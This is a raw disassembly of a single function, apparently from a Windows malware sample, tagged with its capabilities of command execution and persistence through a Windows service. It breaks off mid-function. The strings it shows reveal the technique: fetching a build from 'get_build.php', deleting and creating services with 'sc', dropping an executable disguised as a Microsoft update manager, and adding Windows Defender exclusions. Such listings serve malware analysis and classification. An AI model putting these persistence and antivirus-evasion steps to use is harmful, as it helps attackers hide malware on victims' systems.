Function at 0x4127a0
Capabilities:
Execute command
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421d23
mov eax, dword fs:[0]
push eax
sub esp, 0x16c
mov eax, dword [0x42b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xd0], ecx
mov al, byte [0x42b9a2]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x60], esp
mov byte [ebp - 0x11], al
push 0x42b9e4
call fcn.00404790
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
xorps xmm0, xmm0
push 0x14
movups xmmword [ecx], xmm0
push str.update_MANAGER_start
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004051c0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408700
add esp, 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x60], esp
mov edi, esp
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x68], esp
push 8
movups xmmword [ecx], xmm0
push str.bldMNGR
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004051c0
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, esp
xorps xmm0, xmm0
push 0xd
movups xmmword [ecx], xmm0
push str.get_build.php
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004051c0
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.0040bbe0
add esp, 0x30
mov ecx, edi
call fcn.004017a0
mov dword [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x64], ecx
mov eax, closesocket
mov edx, dword [0x42b0a8]
sub eax, edx
cmp eax, 4
jb 0x413efd
cmp dword [0x42b0ac], 0x10
mov eax, 0x42b098
push 4
cmovae eax, dword [0x42b098]
push str.BLD
push edx
push eax
push ecx
push dword [ebp - 0x64]
call fcn.0040acb0
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov al, byte [0x42b9a2]
add esp, 0x18
mov ecx, esp
mov dword [ebp - 0x64], esp
mov byte [ebp - 0x11], al
push 0x42b9e4
call fcn.00404790
sub esp, 0x18
mov dword [ebp - 4], 3
mov ecx, esp
xorps xmm0, xmm0
push 0x15
movups xmmword [ecx], xmm0
push str.update_MANAGER_copied
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004051c0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408700
add esp, 0x30
mov byte [ebp - 0x11], 2
mov esi, 0xa
push 1
lea edx, [ebp - 0x11]
lea ecx, [ebp - 0xe8]
call fcn.00402c80
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 4
mov edi, dword [ecx + 0x14]
mov eax, edi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 1
jb 0x412997
lea eax, [edx + 1]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp edi, 0x10
jb 0x41298f
mov eax, dword [ecx]
mov word [eax + edx], 0x7c
jmp 0x4129ae
push 1
push 0x424e00
mov byte [ebp - 0x68], 0
push dword [ebp - 0x68]
push 1
call fcn.00405570
mov ecx, eax
mov eax, dword [ebp - 0xd0]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [eax + 0x38]
cmovae edx, dword [ebp - 0x2c]
call fcn.0041e850
mov ecx, dword [ebp - 0x18]
mov edi, eax
cmp ecx, 0x10
jb 0x412a34
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412a2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412cee
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x412a87
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412a7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412cee
push ecx
push edx
call fcn.0041f6f2
add esp, 8
push 0x64
dec esi
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
jle 0x412a9c
test esi, esi
jg 0x412955
mov al, byte [0x42b9a2]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x64], esp
mov byte [ebp - 0x11], al
push 0x42b9e4
call fcn.00404790
sub esp, 0x18
mov dword [ebp - 4], 5
mov ecx, esp
xorps xmm0, xmm0
push 0x18
movups xmmword [ecx], xmm0
push str.update_MANAGER_sock_send
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004051c0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408700
mov edi, dword [ebp - 0xd0]
add esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00404790
mov ecx, esi
call fcn.00408ac0
add esp, 0x18
call fcn.0041d880
add esp, 0x18
test eax, eax
je 0x412b80
mov al, byte [0x42b9a2]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x64], esp
mov byte [ebp - 0x11], al
push 0x42b9e4
call fcn.00404790
sub esp, 0x18
mov dword [ebp - 4], 6
mov ecx, esp
xorps xmm0, xmm0
push 4
movups xmmword [ecx], xmm0
push str.weit
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004051c0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408700
add esp, 0x30
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x42b9a2]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x64], esp
mov byte [ebp - 0x11], al
push 0x42b9e4
call fcn.00404790
mov dword [ebp - 4], 7
mov eax, closesocket
mov ecx, dword [edi + 0x30]
sub eax, ecx
cmp eax, 0xb
jb 0x413f02
cmp dword [edi + 0x34], 0x10
lea eax, [edi + 0x20]
jb 0x412bc0
mov eax, dword [edi + 0x20]
push ecx
push eax
push 0xb
push str.sc_delete__
push ecx
push dword [ebp - 0x64]
lea ecx, [ebp - 0x44]
call fcn.0040acb0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x30]
mov eax, edx
mov ecx, dword [ebp - 0x34]
sub eax, ecx
cmp eax, 1
jb 0x412c03
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0x44]
jmp 0x412c1b
push 1
push 0x42468c
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x44]
push dword [ebp - 0x68]
push 1
call fcn.00405570
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov byte [ebp - 4], 9
lea eax, [ebp - 0x2c]
mov ecx, esp
mov edx, str.update_MANAGER:
push eax
call fcn.00404e60
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xb
call fcn.00408700
mov byte [ebp - 4], 0xa
add esp, 0x30
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x412caf
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412ca5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412cee
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x412cfe
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412cf4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x412cf4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov ecx, dword [edi + 0x30]
mov eax, closesocket
sub eax, ecx
cmp eax, 0xb
jb 0x413f07
cmp dword [edi + 0x34], 0x10
lea eax, [edi + 0x20]
jb 0x412d1d
mov eax, dword [edi + 0x20]
push ecx
push eax
push 0xb
push str.sc_delete__
push ecx
push dword [ebp - 0x64]
lea ecx, [ebp - 0x44]
call fcn.0040acb0
mov dword [ebp - 4], 0xc
mov edx, dword [ebp - 0x30]
mov eax, edx
mov ecx, dword [ebp - 0x34]
sub eax, ecx
cmp eax, 1
jb 0x412d63
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0x44]
jmp 0x412d7b
push 1
push 0x42468c
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x44]
push dword [ebp - 0x68]
push 1
call fcn.00405570
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0x10
jb 0x412df7
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412ded
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412e36
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x412e46
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412e3c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x412e3c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov al, byte [0x42b9a2]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x64], esp
mov byte [ebp - 0x11], al
push 0x42b9e4
call fcn.00404790
mov dword [ebp - 4], 0xd
mov esi, edi
cmp dword [edi + 0x14], 0x10
jb 0x412e71
mov esi, dword [edi]
sub esp, 0x18
mov edx, esi
mov ecx, esp
xorps xmm0, xmm0
lea eax, [edx + 1]
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ebp - 0x68], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x412e92
sub edx, dword [ebp - 0x68]
push edx
push esi
call fcn.004051c0
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408700
add esp, 0x18
mov ecx, esp
push edi
call fcn.00404790
call fcn.00406620
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x424998
call fcn.004151c0
sub esp, 0x18
mov dword [ebp - 4], 0xe
mov ecx, esp
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
call fcn.004151c0
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0xffffffff
call fcn.0041db40
push 4
mov edx, 2
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0xb4]
call fcn.00402b80
add esp, 0x34
mov esi, eax
mov byte [ebp - 4], 0x10
mov ecx, closesocket
mov edx, dword [ebp - 0x4c]
sub ecx, edx
cmp ecx, 0x24
jb 0x413f0c
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push 0x24
cmovae eax, dword [ebp - 0x5c]
push str.Microsoft_Manager_INCUPS_Manager_x
push edx
push eax
push ecx
push dword [ebp - 0x64]
lea ecx, [ebp - 0xe8]
call fcn.0040acb0
push esi
lea eax, [ebp - 0xe8]
mov byte [ebp - 4], 0x11
push eax
push dword [ebp - 0x64]
lea ecx, [ebp - 0x2c]
call fcn.0040aad0
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x18]
mov eax, edx
mov ecx, dword [ebp - 0x1c]
sub eax, ecx
cmp eax, 4
jb 0x412f99
lea eax, [ecx + 4]
cmp edx, 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov dword [eax + ecx], 0x6578652e
mov byte [eax + ecx + 4], 0
lea eax, [ebp - 0x2c]
jmp 0x412fb1
push 4
push str..exe
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x68]
push 4
call fcn.00405570
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x34], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x41300b
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413001
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413087
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0xd4]
cmp ecx, 0x10
jb 0x413057
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41304d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413087
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x413097
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41308d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41308d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
push 4
mov edx, 2
mov dword [ebp - 0xa4], 0
lea ecx, [ebp - 0x130]
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
call fcn.00402b80
push eax
mov edx, str.Microsoft_Update_Manager_x
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2c]
call fcn.00404e60
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x413119
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41310f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41310f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x120], 0
mov ecx, esp
mov dword [ebp - 0x64], esp
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
push 0x42b098
call fcn.00404790
sub esp, 0x18
mov byte [ebp - 4], 0x1a
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x68], esi
push edi
call fcn.00404790
lea ecx, [ebp - 0x100]
call fcn.00408ac0
add esp, 0x18
mov dword [ebp - 0x60], eax
push edi
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.00404790
lea ecx, [ebp - 0x160]
call fcn.00408ac0
add esp, 0x18
mov edi, eax
mov byte [ebp - 4], 0x1c
mov ecx, closesocket
mov edx, dword [ebp - 0x34]
sub ecx, edx
cmp ecx, 0x21
jb 0x413f11
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
push edx
cmovae eax, dword [ebp - 0x44]
push eax
push 0x21
push str.Add_MpPreference__ExclusionPath_
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x84]
call fcn.0040acb0
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x70]
mov eax, edx
mov ecx, dword [ebp - 0x74]
sub eax, ecx
push 0x27
push str.__Add_MpPreference__ExclusionProcess_
cmp eax, 0x27
jb 0x413215
cmp edx, 0x10
lea esi, [ebp - 0x84]
lea eax, [ecx + 0x27]
cmovae esi, dword [ebp - 0x84]
add esi, ecx
mov dword [ebp - 0x74], eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0x27], 0
lea eax, [ebp - 0x84]
mov esi, dword [ebp - 0x68]
add esp, 0xc
jmp 0x413229
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x84]
push dword [ebp - 0x68]
push 0x27
call fcn.00405570
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push edi
lea eax, [ebp - 0xe8]
mov byte [ebp - 4], 0x1e
push eax
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xcc]
call fcn.0040aad0
push str.__Remove_MpPreference__ExclusionPath_
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x1f
call fcn.00404690
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea edx, [ebp - 0x9c]
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x148]
call fcn.0040a250
add esp, 4
push str.__Remove_MpPreference__ExclusionProcess_
mov ecx, eax
mov byte [ebp - 4], 0x21
call fcn.00404690
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x178], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x168], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x178]
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb4]
push eax
push dword [ebp - 0x6c]
call fcn.0040aad0
push 0x424bec
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x23
call fcn.00404690
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2c
call fcn.004069f0
mov byte [ebp - 4], 0x2b
add esp, 0x30
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x4133c4
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4133ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41363b
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
cmp ecx, 0x10
jb 0x41341d
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413413
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41363b
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x41345b
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413451
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41363b
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
cmp ecx, 0x10
jb 0x4134b4
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4134aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41363b
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
cmp ecx, 0x10
jb 0x41350d
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413503
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41363b
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x413566
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41355c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41363b
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x4135a1
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413597
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41363b
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x4135f0
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4135e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41363b
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
cmp ecx, 0x10
jb 0x41364b
mov edx, dword [ebp - 0x100]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413641
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x413641
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x6c], esp
push eax
call fcn.00404790
sub esp, 0x18
mov byte [ebp - 4], 0x2d
mov ecx, esp
mov esi, closesocket
mov dword [ebp - 0x64], ecx
mov eax, esi
mov edx, dword [0x42b0a8]
sub eax, edx
cmp eax, 4
jb 0x413f16
cmp dword [0x42b0ac], 0x10
mov eax, 0x42b098
push 4
cmovae eax, dword [0x42b098]
push str.BLD
push edx
push eax
push ecx
push dword [ebp - 0x6c]
call fcn.0040acb0
mov byte [ebp - 4], 0x19
call fcn.00408d20
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xc0]
add esp, 0x30
call fcn.004075e0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0x2f
push eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x118], 1
call fcn.004060c0
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0xc0]
test edx, edx
je 0x413759
mov ecx, dword [ebp - 0xb8]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x413731
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413894
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
sub esp, 0x18
mov byte [ebp - 4], 0x30
lea eax, [ebp - 0x44]
mov ecx, esp
lea edi, [ebp - 0x90]
push eax
call fcn.00404790
mov ecx, edi
call fcn.00406700
add esp, 0x18
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0
mov eax, edi
mov byte [ebp - 4], 0x32
push eax
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x108], 2
call fcn.004060c0
mov byte [ebp - 4], 0x30
mov edx, dword [ebp - 0x90]
test edx, edx
je 0x413811
mov ecx, dword [ebp - 0x88]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x4137e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413894
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
sub esp, 0x18
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x2c]
mov ecx, esp
lea edi, [ebp - 0x78]
push eax
call fcn.00404790
mov ecx, edi
call fcn.00406700
add esp, 0x18
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov eax, edi
mov byte [ebp - 4], 0x35
push eax
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xf8], 3
call fcn.004060c0
mov byte [ebp - 4], 0x33
mov edx, dword [ebp - 0x78]
test edx, edx
je 0x4138b9
mov ecx, dword [ebp - 0x70]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x41389a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41389a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
sub esp, 0xc
mov byte [ebp - 4], 0x36
mov ecx, esp
mov dword [ebp - 0x6c], esp
lea eax, [ebp - 0xe8]
lea edx, [ebp - 0x118]
push ecx
push eax
push edx
call fcn.004150d0
sub esp, 0x18
mov byte [ebp - 4], 0x37
mov ecx, esp
push 0x42ba14
call fcn.00404790
mov byte [ebp - 4], 0x36
call fcn.00406e60
add esp, 0x24
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x118]
push 0x406050
push 3
push 0x10
push eax
call fcn.0041f72c
mov ecx, dword [ebp - 0x1c]
mov eax, esi
sub eax, ecx
cmp eax, 0xb
jb 0x413f1b
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
push 0xb
push str.sc_create__
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xb4]
call fcn.0040acb0
mov byte [ebp - 4], 0x38
